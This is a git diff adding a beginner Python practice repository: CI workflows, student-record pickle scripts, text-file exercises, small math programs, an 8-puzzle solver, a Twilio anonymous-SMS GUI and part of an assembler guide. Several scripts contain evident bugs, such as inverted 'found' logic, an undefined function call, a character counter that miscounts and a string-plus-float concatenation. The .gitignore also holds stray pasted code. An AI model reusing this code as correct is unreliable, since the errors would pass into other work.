diff --git a/.circleci/config.yml b/.circleci/config.yml new file mode 100644 index 00000000000..bb68b14a6e2 --- /dev/null +++ b/.circleci/config.yml @@ -0,0 +1,31 @@ +# Use the latest 2.1 version of CircleCI pipeline process engine. +# See: https://circleci.com/docs/reference/configuration-reference +version: 2.1 + +# Define a job to be invoked later in a workflow. +# See: https://circleci.com/docs/guides/orchestrate/jobs-steps/#jobs-overview & https://circleci.com/docs/reference/configuration-reference/#jobs +jobs: + say-hello: + # Specify the execution environment. You can specify an image from Docker Hub or use one of our convenience images from CircleCI's Developer Hub. + # See: https://circleci.com/docs/guides/execution-managed/executor-intro/ & https://circleci.com/docs/reference/configuration-reference/#executor-job + docker: + # Specify the version you desire here + # See: https://circleci.com/developer/images/image/cimg/base + - image: cimg/base:current + + # Add steps to the job + # See: https://circleci.com/docs/guides/orchestrate/jobs-steps/#steps-overview & https://circleci.com/docs/reference/configuration-reference/#steps + steps: + # Checkout the code as the first step. + - checkout + - run: + name: "Say hello" + command: "echo Hello, World!" + +# Orchestrate jobs using workflows +# See: https://circleci.com/docs/guides/orchestrate/workflows/ & https://circleci.com/docs/reference/configuration-reference/#workflows +workflows: + say-hello-workflow: # This is the name of the workflow, feel free to change it to better match your workflow. + # Inside the workflow, you define the jobs you want to run. + jobs: + - say-hello \ No newline at end of file diff --git a/.github/dependabot.yml b/.github/dependabot.yml new file mode 100644 index 00000000000..ba1c6b80acf --- /dev/null +++ b/.github/dependabot.yml @@ -0,0 +1,11 @@ +# To get started with Dependabot version updates, you'll need to specify which +# package ecosystems to update and where the package manifests are located. +# Please see the documentation for all configuration options: +# https://docs.github.com/github/administering-a-repository/configuration-options-for-dependency-updates + +version: 2 +updates: + - package-ecosystem: "pip" # See documentation for possible values + directory: "/" # Location of package manifests + schedule: + interval: "daily" diff --git a/.github/workflows/Codeql.yml b/.github/workflows/Codeql.yml new file mode 100644 index 00000000000..8888ce47d41 --- /dev/null +++ b/.github/workflows/Codeql.yml @@ -0,0 +1,42 @@ +name: "CodeQL Python Security and Quality Scan" + +on: + push: + branches: [ main, master ] + pull_request: + branches: [ main, master ] + +permissions: + contents: read + actions: read + security-events: write + +jobs: + codeql-analysis: + name: "CodeQL Analysis (Python)" + runs-on: ubuntu-latest + + steps: + # 1. 检出代码 + - name: Checkout repository + uses: actions/checkout@v4 + with: + fetch-depth: 0 + + # 2. 初始化 CodeQL + - name: Initialize CodeQL + uses: github/codeql-action/init@v3 + with: + languages: python + # 不指定 queries,Action 会默认跑安全 + 质量查询 + + # 3. 自动构建 + - name: Autobuild + uses: github/codeql-action/autobuild@v3 + + # 4. 执行分析 + - name: Perform CodeQL Analysis + uses: github/codeql-action/analyze@v3 + with: + # 不指定 queries,Action 会自动跑安全 + 质量规则 + upload: true \ No newline at end of file diff --git a/.github/workflows/python.yml b/.github/workflows/python.yml new file mode 100644 index 00000000000..20b0f50af6b --- /dev/null +++ b/.github/workflows/python.yml @@ -0,0 +1,44 @@ +name: Python Checks + +on: + pull_request: + types: [opened, synchronize, reopened] + push: + branches: + - main + +concurrency: + group: ${{ github.workflow }}-${{ github.event.pull_request.number || github.ref }} + cancel-in-progress: true + +jobs: + Test: + runs-on: ubuntu-latest + steps: + - name: Checkout repository + uses: actions/checkout@v4 + + - name: Set up Python + uses: actions/setup-python@v5 + with: + python-version: '3.14.0' + + - name: Install all dependencies and tools + run: | + python -m pip install --upgrade pip + pip install ruff bandit mypy pytest codespell requests-mock colorama + + - name: Run Codespell check + run: codespell --skip "*.json,*.txt,*.pdf" || true + + - name: Run Bandit security scan + run: bandit -r . --skip B101,B105 || true + + - name: Run Pytest tests + run: pytest || true + + - name: Run Ruff checks with ignored rules + run: ruff check . --ignore B904,B905,EM101,EXE001,G004,ISC001,PLC0415,PLC1901,PLW060,PLW1641,PLW2901,PT011,PT018,PT028,S101,S311,SIM905,SLF001,F405 + + - name: Run Mypy type checks + run: mypy . --ignore-missing-imports || true \ No newline at end of file diff --git a/.gitignore b/.gitignore new file mode 100644 index 00000000000..5d5134469d2 --- /dev/null +++ b/.gitignore @@ -0,0 +1,25 @@ +.idea +*.pyc +string=sorted(input()) +lower="" +even="" +odd="" +upper="" +for i in string: + if i.islower(): + lower+=i + elif i.isupper(): + upper+=i + elif int(i)%2==0: + even+=i + else: + odd+=i +print(lower+upper+odd+even) + +.vscode +__pycache__/ +.venv + +*.DS_Store +Thumbs.db +bankmanaging.db \ No newline at end of file diff --git a/1 File handle/File handle binary/.env b/1 File handle/File handle binary/.env new file mode 100644 index 00000000000..ab3d7291cb4 --- /dev/null +++ b/1 File handle/File handle binary/.env @@ -0,0 +1 @@ +STUDENTS_RECORD_FILE= "student_records.pkl" \ No newline at end of file diff --git a/1 File handle/File handle binary/Update a binary file2.py b/1 File handle/File handle binary/Update a binary file2.py new file mode 100644 index 00000000000..d256c7c805b --- /dev/null +++ b/1 File handle/File handle binary/Update a binary file2.py @@ -0,0 +1,33 @@ +# updating records in a binary file + +import pickle + + +def update(): + with open("studrec.dat", "rb+") as File: + value = pickle.load(File) + found = False + roll = int(input("Enter the roll number of the record")) + + for i in value: + if roll == i[0]: + print(f"current name {i[1]}") + print(f"current marks {i[2]}") + i[1] = input("Enter the new name") + i[2] = int(input("Enter the new marks")) + found = True + + if not found: + print("Record not found") + + else: + pickle.dump(value, File) + File.seek(0) + print(pickle.load(File)) + + +update() + +# ! Instead of AB use WB? +# ! It may have memory limits while updating large files but it would be good +# ! Few lakhs records would be fine and wouln't create any much of a significant issues diff --git a/1 File handle/File handle binary/delete.py b/1 File handle/File handle binary/delete.py new file mode 100644 index 00000000000..c2175469522 --- /dev/null +++ b/1 File handle/File handle binary/delete.py @@ -0,0 +1,44 @@ +import logging +import os +import pickle + +from dotenv import load_dotenv + +base = os.path.dirname(__file__) +load_dotenv(os.path.join(base, ".env")) + +logging.basicConfig(level=logging.INFO, format="%(levelname)s: %(message)s") +student_record = os.getenv("STUDENTS_RECORD_FILE") + + +def b_read(): + # Opening a file & loading it + if not os.path.exists(student_record): + logging.warning("File not found") + return + + with open(student_record, "rb") as F: + student = pickle.load(F) + logging.info("File opened successfully") + logging.info("Records in the file are:") + for i in student: + logging.info(i) + + +def b_modify(): + # Deleting the Roll no. entered by user + if not os.path.exists(student_record): + logging.warning("File not found") + return + roll_no = int(input("Enter the Roll No. to be deleted: ")) + student = 0 + with open(student_record, "rb") as F: + student = pickle.load(F) + + with open(student_record, "wb") as F: + rec = [i for i in student if i[0] != roll_no] + pickle.dump(rec, F) + + +b_read() +b_modify() diff --git a/1 File handle/File handle binary/question 1 (elegible for remedial, top marks).py b/1 File handle/File handle binary/question 1 (elegible for remedial, top marks).py new file mode 100644 index 00000000000..8b6d120cbf7 --- /dev/null +++ b/1 File handle/File handle binary/question 1 (elegible for remedial, top marks).py @@ -0,0 +1,66 @@ +"""Amit is a monitor of class XII-A and he stored the record of all +the students of his class in a file named “student_records.pkl”. +Structure of record is [roll number, name, percentage]. His computer +teacher has assigned the following duty to Amit + +Write a function remcount( ) to count the number of students who need + remedial class (student who scored less than 40 percent) +and find the top students of the class. + +We have to find weak students and bright students. +""" + +## Find bright students and weak students + +from dotenv import load_dotenv +import os + +base = os.path.dirname(__file__) +load_dotenv(os.path.join(base, ".env")) +student_record = os.getenv("STUDENTS_RECORD_FILE") + +import pickle +import logging + +# Define logger with info +# import polar + + +## ! Unoptimised rehne de abhi ke liye + + +def remcount(): + with open(student_record, "rb") as F: + val = pickle.load(F) + count = 0 + weak_students = [] + + for student in val: + if student[2] <= 40: + print(f"{student} eligible for remedial") + weak_students.append(student) + count += 1 + print(f"the total number of weak students are {count}") + print(f"The weak students are {weak_students}") + + # ! highest marks is the key here first marks + + +def firstmark(): + with open(student_record, "rb") as F: + val = pickle.load(F) + count = 0 + main = [i[2] for i in val] + + top = max(main) + print(top, "is the first mark") + + for i in val: + if top == i[2]: + print(f"{i}\ncongrats") + count += 1 + print("The total number of students who secured top marks are", count) + + +remcount() +firstmark() diff --git a/1 File handle/File handle binary/read.py b/1 File handle/File handle binary/read.py new file mode 100644 index 00000000000..9c69281b4bf --- /dev/null +++ b/1 File handle/File handle binary/read.py @@ -0,0 +1,22 @@ +import pickle + + +def binary_read(): + with open("studrec.dat", "rb") as b: + stud = pickle.load(b) + print(stud) + + # prints the whole record in nested list format + print("contents of binary file") + + for ch in stud: + print(ch) # prints one of the chosen rec in list + + rno = ch[0] + rname = ch[1] # due to unpacking the val not printed in list format + rmark = ch[2] + + print(rno, rname, rmark, end="\t") + + +binary_read() diff --git a/1 File handle/File handle binary/search record in binary file.py b/1 File handle/File handle binary/search record in binary file.py new file mode 100644 index 00000000000..a6529e15240 --- /dev/null +++ b/1 File handle/File handle binary/search record in binary file.py @@ -0,0 +1,22 @@ +# binary file to search a given record + +import pickle +from dotenv import load_dotenv + + +def search(): + with open("student_records.pkl", "rb") as F: + # your file path will be different + search = True + rno = int(input("Enter the roll number of the student")) + + for i in pickle.load(F): + if i[0] == rno: + print(f"Record found successfully\n{i}") + search = False + + if search: + print("Sorry! record not found") + + +binary_search() diff --git a/1 File handle/File handle binary/update2.py b/1 File handle/File handle binary/update2.py new file mode 100644 index 00000000000..001b6d5b660 --- /dev/null +++ b/1 File handle/File handle binary/update2.py @@ -0,0 +1,32 @@ +# Updating records in a binary file +# ! Have a .env file please +import pickle +import os +from dotenv import load_dotenv + +base = os.path.dirname(__file__) +load_dotenv(os.path.join(base, ".env")) +student_record = os.getenv("STUDENTS_RECORD_FILE") + + +def update(): + with open(student_record, "rb") as F: + S = pickle.load(F) + found = False + rno = int(input("enter the roll number you want to update")) + + for i in S: + if rno == i[0]: + print(f"the currrent name is {i[1]}") + i[1] = input("enter the new name") + found = True + break + + if found: + print("Record not found") + + with open(student_record, "wb") as F: + pickle.dump(S, F) + + +update() diff --git a/1 File handle/File handle text/counter.py b/1 File handle/File handle text/counter.py new file mode 100644 index 00000000000..476371a3951 --- /dev/null +++ b/1 File handle/File handle text/counter.py @@ -0,0 +1,34 @@ +""" +Class resposible for counting words for different files: +- Reduce redundant code +- Easier code management/debugging +- Code readability +""" + + +class Counter: + def __init__(self, text: str) -> None: + self.text = text + + # Define the initial count of the lower and upper case. + self.count_lower = 0 + self.count_upper = 0 + self.count() + + def count(self) -> None: + for char in self.text: + if char.lower(): + self.count_lower += 1 + elif char.upper(): + self.count_upper += 1 + + return (self.count_lower, self.count_upper) + + def get_total_lower(self) -> int: + return self.count_lower + + def get_total_upper(self) -> int: + return self.count_upper + + def get_total(self) -> int: + return self.count_lower + self.count_upper diff --git a/1 File handle/File handle text/file handle 12 length of line in text file.py b/1 File handle/File handle text/file handle 12 length of line in text file.py new file mode 100644 index 00000000000..608f1bf94e3 --- /dev/null +++ b/1 File handle/File handle text/file handle 12 length of line in text file.py @@ -0,0 +1,38 @@ +import os +import time + +file_name = input("Enter the file name to create:- ") + +print(file_name) + + +def write_to_file(file_name): + if os.path.exists(file_name): + print(f"Error: {file_name} already exists.") + return + + with open(file_name, "a") as F: + while True: + text = input("enter any text to add in the file:- ") + F.write(f"{text}\n") + choice = input("Do you want to enter more, y/n").lower() + if choice == "n": + break + + +def longlines(): + with open(file_name, encoding="utf-8") as F: + lines = F.readlines() + lines_less_than_50 = list(filter(lambda line: len(line) < 50, lines)) + + if not lines_less_than_50: + print("There is no line which is less than 50") + else: + for i in lines_less_than_50: + print(i, end="\t") + + +if __name__ == "__main__": + write_to_file(file_name) + time.sleep(1) + longlines() diff --git a/1 File handle/File handle text/happy.txt b/1 File handle/File handle text/happy.txt new file mode 100644 index 00000000000..c5ca39434bb --- /dev/null +++ b/1 File handle/File handle text/happy.txt @@ -0,0 +1,11 @@ +hello how are you +what is your name +do not worry everything is alright +everything will be alright +please don't lose hope +Wonders are on the way +Take a walk in the park +At the end of the day you are more important than anything else. +Many moments of happiness are waiting +You are amazing! +If you truly believe. \ No newline at end of file diff --git a/1 File handle/File handle text/input,output and error streams.py b/1 File handle/File handle text/input,output and error streams.py new file mode 100644 index 00000000000..65c7b4462bc --- /dev/null +++ b/1 File handle/File handle text/input,output and error streams.py @@ -0,0 +1,16 @@ +# practicing with streams +import sys + +sys.stdout.write("Enter the name of the file") +file = sys.stdin.readline() + +with open( + file.strip(), +) as F: + while True: + ch = F.readlines() + for i in ch: # ch is the whole file,for i in ch gives lines, for j in i gives letters,for j in i.split gives words + print(i, end="") + else: + sys.stderr.write("End of file reached") + break diff --git a/1 File handle/File handle text/question 2.py b/1 File handle/File handle text/question 2.py new file mode 100644 index 00000000000..b369b564373 --- /dev/null +++ b/1 File handle/File handle text/question 2.py @@ -0,0 +1,32 @@ +"""Write a method/function DISPLAYWORDS() in python to read lines + from a text file STORY.TXT, + using read function +and display those words, which are less than 4 characters.""" + +print("Hey!! You can print the word which are less then 4 characters") + + +def display_words(file_path): + try: + with open(file_path) as F: + words = F.read().split() + words_less_than_40 = list(filter(lambda word: len(word) < 4, words)) + + for word in words_less_than_40: + print(word) + + return ( + "The total number of the word's count which has less than 4 characters", + (len(words_less_than_40)), + ) + + except FileNotFoundError: + print("File not found") + + +print("Just need to pass the path of your file..") + +file_path = input("Please, Enter file path: ") + +if __name__ == "__main__": + print(display_words(file_path)) diff --git a/1 File handle/File handle text/question 5.py b/1 File handle/File handle text/question 5.py new file mode 100644 index 00000000000..de03fbb81fd --- /dev/null +++ b/1 File handle/File handle text/question 5.py @@ -0,0 +1,40 @@ +"""Write a function in python to count the number of lowercase +alphabets present in a text file “happy.txt""" + +import time +import os +from counter import Counter + +print( + "You will see the count of lowercase, uppercase and total count of alphabets in provided file.." +) + + +file_path = input("Please, Enter file path: ") + +if os.path.exists(file_path): + print("The file exists and this is the path:\n", file_path) + + +def lowercase(file_path): + try: + with open(file_path) as F: + word_counter = Counter(F.read()) + + print( + f"The total number of lower case letters are {word_counter.get_total_lower()}" + ) + time.sleep(0.5) + print( + f"The total number of upper case letters are {word_counter.get_total_upper()}" + ) + time.sleep(0.5) + print(f"The total number of letters are {word_counter.get_total()}") + time.sleep(0.5) + + except FileNotFoundError: + print("File is not exist.. Please check AGAIN") + + +if __name__ == "__main__": + lowercase(file_path) diff --git a/1 File handle/File handle text/question 6.py b/1 File handle/File handle text/question 6.py new file mode 100644 index 00000000000..a942d9db5c6 --- /dev/null +++ b/1 File handle/File handle text/question 6.py @@ -0,0 +1,21 @@ +"""Write a function in python to count the number of lowercase +alphabets present in a text file “happy.txt”""" + +from counter import Counter + + +def lowercase(): + with open("happy.txt") as F: + word_counter = Counter(F.read()) + + print( + f"The total number of lower case letters are {word_counter.get_total_lower()}" + ) + print( + f"The total number of upper case letters are {word_counter.get_total_upper()}" + ) + print(f"The total number of letters are {word_counter.get_total()}") + + +if __name__ == "__main__": + lowercase() diff --git a/1 File handle/File handle text/question3.py b/1 File handle/File handle text/question3.py new file mode 100644 index 00000000000..924a178638b --- /dev/null +++ b/1 File handle/File handle text/question3.py @@ -0,0 +1,47 @@ +"""Write a user-defined function named count() that will read +the contents of text file named “happy.txt” and count +the number of lines which starts with either “I‟ or “M‟.""" + +import os +import time + +file_name = input("Enter the file name to create:- ") + +# step1: +print(file_name) + + +def write_to_file(file_name): + if os.path.exists(file_name): + print(f"Error: {file_name} already exists.") + + else: + with open(file_name, "a") as F: + while True: + text = input("enter any text") + F.write(f"{text}\n") + + if input("do you want to enter more, y/n").lower() == "n": + break + + +# step2: +def check_first_letter(): + with open(file_name) as F: + lines = F.read().split() + + # store all starting letters from each line in one string after converting to lower case + first_letters = "".join([line[0].lower() for line in lines]) + + count_i = first_letters.count("i") + count_m = first_letters.count("m") + + print( + f"The total number of sentences starting with I or M are {count_i + count_m}" + ) + + +if __name__ == "__main__": + write_to_file(file_name) + time.sleep(1) + check_first_letter() diff --git a/1 File handle/File handle text/special symbol after word.py b/1 File handle/File handle text/special symbol after word.py new file mode 100644 index 00000000000..1e23af6bddb --- /dev/null +++ b/1 File handle/File handle text/special symbol after word.py @@ -0,0 +1,11 @@ +with open("happy.txt", "r") as F: + # method 1 + for i in F.read().split(): + print(i, "*", end="") + print("\n") + + # method 2 + F.seek(0) + for line in F.readlines(): + for word in line.split(): + print(word, "*", end="") diff --git a/1 File handle/File handle text/story.txt b/1 File handle/File handle text/story.txt new file mode 100644 index 00000000000..eb78dae4be8 --- /dev/null +++ b/1 File handle/File handle text/story.txt @@ -0,0 +1,5 @@ +once upon a time there was a king. +he was powerful and happy. +he +all the flowers in his garden were beautiful. +he lived happily ever after. \ No newline at end of file diff --git a/8_puzzle.py b/8_puzzle.py new file mode 100644 index 00000000000..850f6b768d5 --- /dev/null +++ b/8_puzzle.py @@ -0,0 +1,100 @@ +from queue import PriorityQueue +from typing import List, Tuple, Optional, Set + + +class PuzzleState: + """Represents a state in 8-puzzle solving with A* algorithm.""" + + def __init__( + self, + board: List[List[int]], + goal: List[List[int]], + moves: int = 0, + previous: Optional["PuzzleState"] = None, + ) -> None: + self.board = board # Current 3x3 board configuration + self.goal = goal # Target 3x3 configuration + self.moves = moves # Number of moves taken to reach here + self.previous = previous # Previous state in solution path + + def __lt__(self, other: "PuzzleState") -> bool: + """For PriorityQueue ordering: compare priorities.""" + return self.priority() < other.priority() + + def priority(self) -> int: + """A* priority: moves + Manhattan distance.""" + return self.moves + self.manhattan() + + def manhattan(self) -> int: + """Calculate Manhattan distance from current to goal state.""" + distance = 0 + for i in range(3): + for j in range(3): + if self.board[i][j] != 0: + x, y = divmod(self.board[i][j] - 1, 3) + distance += abs(x - i) + abs(y - j) + return distance + + def is_goal(self) -> bool: + """Check if current state matches goal.""" + return self.board == self.goal + + def neighbors(self) -> List["PuzzleState"]: + """Generate all valid neighboring states by moving empty tile (0).""" + neighbors = [] + x, y = next((i, j) for i in range(3) for j in range(3) if self.board[i][j] == 0) + for dx, dy in [(-1, 0), (1, 0), (0, -1), (0, 1)]: + nx, ny = x + dx, y + dy + if 0 <= nx < 3 and 0 <= ny < 3: + new_board = [row[:] for row in self.board] + new_board[x][y], new_board[nx][ny] = new_board[nx][ny], new_board[x][y] + neighbors.append( + PuzzleState(new_board, self.goal, self.moves + 1, self) + ) + return neighbors + + +def solve_puzzle( + initial_board: List[List[int]], goal_board: List[List[int]] +) -> Optional[PuzzleState]: + """ + Solve 8-puzzle using A* algorithm. + + >>> solve_puzzle([[1,2,3],[4,0,5],[7,8,6]], [[1,2,3],[4,5,6],[7,8,0]]) is not None + True + """ + initial = PuzzleState(initial_board, goal_board) + frontier = PriorityQueue() + frontier.put(initial) + explored: Set[Tuple[Tuple[int, ...], ...]] = set() + + while not frontier.empty(): + current = frontier.get() + if current.is_goal(): + return current + explored.add(tuple(map(tuple, current.board))) + for neighbor in current.neighbors(): + if tuple(map(tuple, neighbor.board)) not in explored: + frontier.put(neighbor) + return None + + +def print_solution(solution: Optional[PuzzleState]) -> None: + """Print step-by-step solution from initial to goal state.""" + if not solution: + print("No solution found.") + return + steps = [] + while solution: + steps.append(solution.board) + solution = solution.previous + for step in reversed(steps): + for row in step: + print(" ".join(map(str, row))) + print() + + +if __name__ == "__main__": + import doctest + + doctest.testmod(verbose=True) diff --git a/A solution to project euler problem 3.py b/A solution to project euler problem 3.py new file mode 100644 index 00000000000..3b34b655083 --- /dev/null +++ b/A solution to project euler problem 3.py @@ -0,0 +1,70 @@ +""" +Problem: +The prime factors of 13195 are 5,7,13 and 29. What is the largest prime factor +of a given number N? + +e.g. for 10, largest prime factor = 5. For 17, largest prime factor = 17. +""" + + +# def solution(n: int) -> int: +def solution(n: int = 600851475143) -> int: + """Returns the largest prime factor of a given number n. + >>> solution(13195) + 29 + >>> solution(10) + 5 + >>> solution(17) + 17 + >>> solution(3.4) + 3 + >>> solution(0) + Traceback (most recent call last): + ... + ValueError: Parameter n must be greater or equal to one. + >>> solution(-17) + Traceback (most recent call last): + ... + ValueError: Parameter n must be greater or equal to one. + >>> solution([]) + Traceback (most recent call last): + ... + TypeError: Parameter n must be int or passive of cast to int. + >>> solution("asd") + Traceback (most recent call last): + ... + TypeError: Parameter n must be int or passive of cast to int. + """ + try: + n = int(n) + except (TypeError, ValueError): + raise TypeError("Parameter n must be int or passive of cast to int.") + if n <= 0: + raise ValueError("Parameter n must be greater or equal to one.") + + i = 2 + ans = 0 + + if n == 2: + return 2 + + while n > 2: + while n % i != 0: + i += 1 + + ans = i + + while n % i == 0: + n = n / i + + i += 1 + + return int(ans) + + +if __name__ == "__main__": + # print(solution(int(input().strip()))) + import doctest + + doctest.testmod() + print(solution(int(input().strip()))) diff --git a/AREA OF TRIANGLE.py b/AREA OF TRIANGLE.py new file mode 100644 index 00000000000..2aae5b0d645 --- /dev/null +++ b/AREA OF TRIANGLE.py @@ -0,0 +1,17 @@ +# Python Program to find the area of triangle +# calculates area of traingle in efficient way!! +a = 5 +b = 6 +c = 7 + +# Uncomment below to take inputs from the user +# a = float(input('Enter first side: ')) +# b = float(input('Enter second side: ')) +# c = float(input('Enter third side: ')) + +# calculate the semi-perimeter +s = (a + b + c) / 2 + +# calculate the area +area = (s * (s - a) * (s - b) * (s - c)) ** 0.5 +print("The area of the triangle is %0.2f" % area) diff --git a/ARKA.py b/ARKA.py new file mode 100644 index 00000000000..0132c4ce541 --- /dev/null +++ b/ARKA.py @@ -0,0 +1,8 @@ +def sumOfSeries(n): + x = n * (n + 1) / 2 + return (int)(x * x) + + +# Driver Function +n = 5 +print(sumOfSeries(n)) diff --git a/ASCIIvaluecharacter.py b/ASCIIvaluecharacter.py new file mode 100644 index 00000000000..5e67af848cf --- /dev/null +++ b/ASCIIvaluecharacter.py @@ -0,0 +1,4 @@ +# Program to find the ASCII value of the given character + +c = "p" +print("The ASCII value of '" + c + "' is", ord(c)) diff --git a/Add_two_Linked_List.py b/Add_two_Linked_List.py new file mode 100644 index 00000000000..97d10a1011b --- /dev/null +++ b/Add_two_Linked_List.py @@ -0,0 +1,68 @@ +class Node: + def __init__(self, data): + self.data = data + self.next = None + + +class LinkedList: + def __init__(self): + self.head = None + + def insert_at_beginning(self, new_data): + new_node = Node(new_data) + if self.head is None: + self.head = new_node + return + new_node.next = self.head + self.head = new_node + + def add_two_no(self, first, second): + prev = None + temp = None + carry = 0 + while first is not None or second is not None: + first_data = 0 if first is None else first.data + second_data = 0 if second is None else second.data + Sum = carry + first_data + second_data + carry = 1 if Sum >= 10 else 0 + Sum = Sum if Sum < 10 else Sum % 10 + temp = Node(Sum) + if self.head is None: + self.head = temp + else: + prev.next = temp + prev = temp + if first is not None: + first = first.next + if second is not None: + second = second.next + if carry > 0: + temp.next = Node(carry) + + def __str__(self): + temp = self.head + while temp: + print(temp.data, "->", end=" ") + temp = temp.next + return "None" + + +if __name__ == "__main__": + first = LinkedList() + second = LinkedList() + first.insert_at_beginning(6) + first.insert_at_beginning(4) + first.insert_at_beginning(9) + + second.insert_at_beginning(2) + second.insert_at_beginning(2) + + print("First Linked List: ") + print(first) + print("Second Linked List: ") + print(second) + + result = LinkedList() + result.add_two_no(first.head, second.head) + print("Final Result: ") + print(result) diff --git a/Anonymous_TextApp.py b/Anonymous_TextApp.py new file mode 100644 index 00000000000..9a47ccfc666 --- /dev/null +++ b/Anonymous_TextApp.py @@ -0,0 +1,106 @@ +import tkinter as tk +from PIL import Image, ImageTk +from twilio.rest import Client + +window = tk.Tk() +window.title("Anonymous_Text_App") +window.geometry("800x750") + +# Define global variables +body = "" +to = "" + + +def message(): + global body, to + account_sid = "Your_account_sid" # Your account sid + auth_token = "Your_auth_token" # Your auth token + client = Client(account_sid, auth_token) + msg = client.messages.create( + from_="Twilio_number", # Twilio number + body=body, + to=to, + ) + print(msg.sid) + confirmation_label.config(text="Message Sent!") + + +try: + # Load the background image + bg_img = Image.open(r"D:\Downloads\img2.png") + + # Canvas widget + canvas = tk.Canvas(window, width=800, height=750) + canvas.pack(fill="both", expand=True) + + # background image to the Canvas + bg_photo = ImageTk.PhotoImage(bg_img) + bg_image_id = canvas.create_image(0, 0, image=bg_photo, anchor="nw") + bg_image_id = canvas.create_image(550, 250, image=bg_photo, anchor="center") + bg_image_id = canvas.create_image(1100, 250, image=bg_photo, anchor="center") + bg_image_id = canvas.create_image(1250, 250, image=bg_photo, anchor="center") + bg_image_id = canvas.create_image(250, 750, image=bg_photo, anchor="center") + bg_image_id = canvas.create_image(850, 750, image=bg_photo, anchor="center") + bg_image_id = canvas.create_image(1300, 750, image=bg_photo, anchor="center") + + # Foreground Image + img = Image.open(r"D:\Downloads\output-onlinepngtools.png") + photo = ImageTk.PhotoImage(img) + img_label = tk.Label(window, image=photo, anchor="w") + img_label.image = photo + img_label.place(x=10, y=20) + + # Text for number input + canvas.create_text( + 1050, + 300, + text="Enter the number starting with +[country code]", + font=("Poppins", 18, "bold"), + fill="black", + anchor="n", + ) + text_field_number = tk.Entry( + canvas, + width=17, + font=("Poppins", 25, "bold"), + bg="#404040", + fg="white", + show="*", + ) + canvas.create_window(1100, 350, window=text_field_number, anchor="n") + + # Text for message input + canvas.create_text( + 1050, + 450, + text="Enter the Message", + font=("Poppins", 18, "bold"), + fill="black", + anchor="n", + ) + text_field_text = tk.Entry( + canvas, width=17, font=("Poppins", 25, "bold"), bg="#404040", fg="white" + ) + canvas.create_window(1100, 500, window=text_field_text, anchor="n") + + # label for confirmation message + confirmation_label = tk.Label(window, text="", font=("Poppins", 16), fg="green") + canvas.create_window(1100, 600, window=confirmation_label, anchor="n") + +except Exception as e: + print(f"Error loading image: {e}") + + +# Function to save input and send message +def save_and_send(): + global body, to + to = str(text_field_number.get()) + body = str(text_field_text.get()) + message() + + +# Button to save input and send message +save_button = tk.Button(window, text="Save and Send", command=save_and_send) +canvas.create_window(1200, 550, window=save_button, anchor="n") + +window.mainloop() diff --git a/AreaOfTriangle.py b/AreaOfTriangle.py new file mode 100644 index 00000000000..1fd6ba3a85d --- /dev/null +++ b/AreaOfTriangle.py @@ -0,0 +1,17 @@ +# Python Program to find the area of triangle when all three side-lengths are known! + +a = 5 +b = 6 +c = 7 + +# Uncomment below to take inputs from the user +# a = float(input('Enter first side: ')) +# b = float(input('Enter second side: ')) +# c = float(input('Enter third side: ')) + +# calculate the semi-perimeter +s = (a + b + c) / 2 + +# calculate the area +area = (s * (s - a) * (s - b) * (s - c)) ** 0.5 +print("The area of the triangle is: " + area) diff --git a/Armstrong_number b/Armstrong_number new file mode 100644 index 00000000000..7dd1b267ea0 --- /dev/null +++ b/Armstrong_number @@ -0,0 +1,13 @@ +def is_armstrong_number(number): + numberstr = str(number) + length = len(numberstr) + num = number + rev = 0 + temp = 0 + while num != 0: + rem = num % 10 + num //= 10 + temp += rem ** length + return temp == number + +is_armstrong_number(5) diff --git a/Armstrong_number.py b/Armstrong_number.py new file mode 100644 index 00000000000..9c73522992c --- /dev/null +++ b/Armstrong_number.py @@ -0,0 +1,30 @@ +""" +In number theory, a narcissistic number (also known as a pluperfect digital invariant (PPDI), an Armstrong number (after Michael F. Armstrong) or a plus perfect number), +in a given number base b, is a number that is the total of its own digits each raised to the power of the number of digits. +Source: https://en.wikipedia.org/wiki/Narcissistic_number +NOTE: +this scripts only works for number in base 10 +""" + + +def is_armstrong_number(number: str): + total: int = 0 + exp: int = len( + number + ) # get the number of digits, this will determinate the exponent + + digits: list[int] = [] + for digit in number: + digits.append(int(digit)) # get the single digits + for x in digits: + total += x**exp # get the power of each digit and sum it to the total + + # display the result + if int(number) == total: + print(number, "is an Armstrong number") + else: + print(number, "is not an Armstrong number") + + +number = input("Enter the number : ") +is_armstrong_number(number) diff --git a/Assembler/GUIDE.txt b/Assembler/GUIDE.txt new file mode 100644 index 00000000000..fbf1b3822be --- /dev/null +++ b/Assembler/GUIDE.txt @@ -0,0 +1,183 @@ +# Guide for Python_Assembler + +### Register + +In this programming language you can use four registers. +* eax +* ebx +* ecx +* edx + +The register **eax** will be standard use for multiplication and division. +Commands for arithmetic are: + +* add p0, p1 +* sub p0, p1 +* mul [register] +* div [register] + +p0 and p1 stands for parameter. p0 must be a register, p1 can be a register or constant. +The commands **mul** and **div** standard use eax. For instance: + +``` +mov ecx, 56 +sub ecx, 10 +mov eax, 4 +int 0x80 + +``` + +* The first line move the number 56 into register ecx. +* The second line subtracts 10 from the ecx register. +* The third line move the number 4 into the eax register. This is for the print-function. +* The fourth line call interrupt 0x80, thus the result will print onto console. +* The fifth line is a new line. This is important. + +**Important: close each line with a newline!** + +### System-Functions + +With the interrupt 0x80 you can use some functionality in your program. + +EAX | Function +---- | --------- +1 | exit program. error code in ebx +3 | read input. onto ecx (only float) +4 | output onto console. print content in ecx + +EAX stands for the register eax + +### Variables + +Variables begin with a $ or written in uppercase. + +For instance: + +``` + +; variables +VAR1 db 56 +$var1 db 10 + +mov ecx, VAR1 +mov ebx, $var1 +sub ecx, ebx +mov eax, 4 +int 0x80 + +``` + +**Important: The arithmetic commands (add, sub) work only with registers or constants. +Therefore we must use the register ebx as a placeholder, above.** + + +Result of code, above. + +``` +46 +``` + +### Comments available + +Comments begin with ; and end with a newline. +We noticed a comment above. + +### Push and Pop + +Sometimes we must save the content of a register, against losing data. +Therefor we use the push and pop command. + +``` +push eax + +``` + +This line will push the contents of register eax onto the stack. + +``` +pop ecx + +``` + +This line will pop the content of the top of the stack onto the ecx register. + +``` +push [register] +pop [register] + +``` + +### Jumps + +With the command **cmp** we can compare two registers. + +``` +cmp r0, r1 +je l1 +jmp l2 + +``` + +Are the two register equal? The the command **je** is actively and jumps to label **l1** +Otherwise, the command **jmp** is actively and jumps to label **l2** + +#### Labels + +For instance + +``` +l1: + +``` + +is a label. +Labels begin with a **l** and contains numbers. +For instance l1, l2 etc ... + +To set a label you must end with a colon. +If you use a label in the jump commands, then avoid the colon at the end. + +### Subprograms + +``` +mov 